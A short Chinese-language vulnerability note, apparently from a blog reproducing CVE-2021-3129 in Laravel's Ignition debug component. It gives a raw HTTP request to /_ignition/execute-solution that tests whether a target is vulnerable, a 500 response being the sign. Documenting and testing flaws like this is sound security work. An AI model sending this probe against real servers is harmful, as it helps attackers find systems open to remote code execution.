Laravel RCE CVE-2021-3129
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
Laravel <= 8.4.2
- 返回 500 证明存在漏洞
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=null
[CVE-2021-3129]Laravel Debug mode RCE复现 | tyskillのBlog